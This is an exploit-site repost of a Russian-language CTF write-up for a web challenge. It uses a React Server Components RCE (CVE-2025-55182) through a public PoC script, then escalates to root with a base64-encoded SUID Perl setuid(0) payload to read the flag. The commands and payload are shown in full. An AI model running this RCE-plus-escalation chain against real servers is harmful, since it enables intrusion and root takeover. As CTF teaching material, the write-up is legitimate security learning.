Sploitus

Exploit for Explosive-As-Hell-MCS-Qualifer-Web-500

kitploit · 2026-09-03

Exploit Code

MARKDOWN197 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ABDULLAHMAQBOOL22-EXPLOSIVE-AS-HELL-MCS-QUALIFER-WEB-500
# CVE-2025-55182 — RCE в React Server Components | Writeup для CTF

> **Категория:** Web Exploitation | **Сложность:** Средняя | **Уязвимость:** Удалённое выполнение кода → Повышение привилегий через SUID

* * *

## TL;DR

Эндпоинт React Server Components, уязвимый для CVE-2025-55182 (RCE) → перебор SUID-бинарников → `/usr/bin/perl` имел установленный SUID → использование POSIX `setuid(0)` в Perl для повышения до root → чтение `/root/flag.txt`.

**Флаг:** `MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3}`

* * *

## Шаг 1 — Разведка

**Цель:** `http://challenge.cybermesh.site:30035/`

Целью было React-веб-приложение, использующее **React Server Components (RSC)** — относительно новую архитектуру, которая выполняет компоненты на стороне сервера и передаёт сериализованный вывод обратно клиенту через собственный проводной формат.

Эта архитектура создаёт границу выполнения на стороне сервера. Некорректная обработка входных данных на этой границе — именно то, что использует CVE-2025-55182.

* * *

## Шаг 2 — Уязвимость: CVE-2025-55182

**RCE в React Server Components** — Сервер не фильтрует управляемые пользователем данные перед тем, как они попадают в слой выполнения серверных компонентов. Это позволяет атакующему внедрять shell-команды ОС, которые выполняются в контексте процесса Node.js.

**Цепочка атаки:**

  1. Атакующий формирует вредоносную полезную нагрузку RSC
  2. Сервер десериализует входные данные и передаёт неочищенные значения в функцию серверного компонента
  3. Выполняется команда ОС, вывод передаётся обратно в ответе RSC
  4. Атакующий считывает вывод команды из тела ответа



* * *

## Шаг 3 — Подготовка эксплойта

Существует публичный PoC для этой CVE:

root@kitploit:~
    
    
    git clone https://github.com/surajhacx/react2shellpoc.git
    cd react2shellpoc
    

Первичная проверка — подтверждение RCE и контекста выполнения:

root@kitploit:~
    
    
    python exploit.py -t http://challenge.cybermesh.site:30035/ -c "whoami"
    

**Вывод:**

root@kitploit:~
    
    
    [+] EXPLOITATION SUCCESSFUL
    
      ► app
    

Сервер работает от пользователя `app`. Не root — требуется повышение.

* * *

## Шаг 4 — Перебор SUID

Сканирование SUID-бинарников:

root@kitploit:~
    
    
    python exploit.py -t http://challenge.cybermesh.site:30035/ \
      -c "find /bin /usr/bin /sbin /usr/sbin -perm -4000 2>/dev/null || true"
    

**Вывод:**

root@kitploit:~
    
    
    [+] EXPLOITATION SUCCESSFUL
    
      ► /usr/bin/gpasswd
      ► /usr/bin/perl       <--- !!!
      ► /usr/bin/chsh
      ► /usr/bin/su
      ► /usr/bin/chfn
      ► /usr/bin/umount
      ► /usr/bin/mount
      ► /usr/bin/passwd
      ► /usr/bin/newgrp
    

У `/usr/bin/perl` **установлен SUID-бит**. Это хорошо известный GTFOBin — когда Perl принадлежит root и имеет SUID, он выполняется с привилегиями root независимо от того, кто его вызывает.

* * *

## Шаг 5 — Повышение привилегий через SUID Perl

Создана полезная нагрузка Perl, закодированная в base64, которая:

  * Устанавливает PATH
  * Вызывает `POSIX::setuid(0)` для повышения до root
  * Открывает и читает `/root/flag.txt`



Отправлена через эндпоинт RCE:

root@kitploit:~
    
    
    python exploit.py \
      -t http://challenge.cybermesh.site:30035/ \
      -c "echo dXNlIFBPU0lYOyRFTlZ7UEFUSH09Jy9iaW46L3Vzci9iaW4nO3NldHVpZCgwKTtvcGVuKG15JHZkQzlmbGFnLCc8JywgJy9yb290L2ZsYWcudHh0Jyk7cHJpbnQgd2hpbGUoPCR2ZEM+KTs= | base64 -d > /tmp/p.pl && /usr/bin/perl /tmp/p.pl"
    

**Расшифрованная полезная нагрузка примерно такая:**

root@kitploit:~
    
    
    use POSIX;
    $ENV{PATH}='/bin:/usr/bin';
    setuid(0);
    open(my $vdC9flag,'<', '/root/flag.txt');
    print while(<$vdC9flag>);
    

**Вывод:**

root@kitploit:~
    
    
    [+] EXPLOITATION SUCCESSFUL
    
      ► MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3}
    

* * *

## Флаг

root@kitploit:~
    
    
    MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3}
    

* * *

## Ключевые выводы

**1\. Поверхность атаки RSC недооценена.** React Server Components — новая парадигма. Многие развёртывания не защищены от инъекций входных данных на границе серверных компонентов. Эта CVE напоминает, что «серверный рендеринг» сам по себе небезопасен — граница выполнения всё равно требует правильной фильтрации.

**2\. SUID на интерпретируемых средах выполнения = мгновенный root.** `/usr/bin/perl` с SUID — классическая ошибка конфигурации. GTFOBins подробно это описывает. Никогда не устанавливайте SUID-бит на скриптовые языки (Perl, Python, Ruby и т.д.) — в отличие от скомпилированных бинарников, предназначенных для SUID (su, passwd), эти среды предоставляют тривиальные пути повышения привилегий.

**3\. Флаг самосознательный.** `SU1D_AR3_FUN_BUT_N0T_EVERYTIM3` — задание было явно спроектировано с использованием SUID Perl как предполагаемого пути повышения. Чистая цепочка.

* * *

## Краткое описание цепочки атаки

root@kitploit:~
    
    
    CVE-2025-55182 (RSC RCE)
        └─> whoami → пользователь "app"
        └─> поиск SUID-бинарников
        └─> /usr/bin/perl (SUID root) обнаружен
        └─> base64 полезная нагрузка Perl → запись в /tmp/p.pl
        └─> SUID perl /tmp/p.pl → setuid(0) → cat /root/flag.txt
        └─> ФЛАГ ✓
    

* * *

## Ссылки

  * github.com/surajhacx/react2shellpoc
  * GTFOBins — perl SUID
  * NVD — CVE-2025-55182



* * *

_Написал Abdullah Maqbool — Penetration Testing Engineer @ TISS | CRTA · CRTOM · CompTIA PenTest+_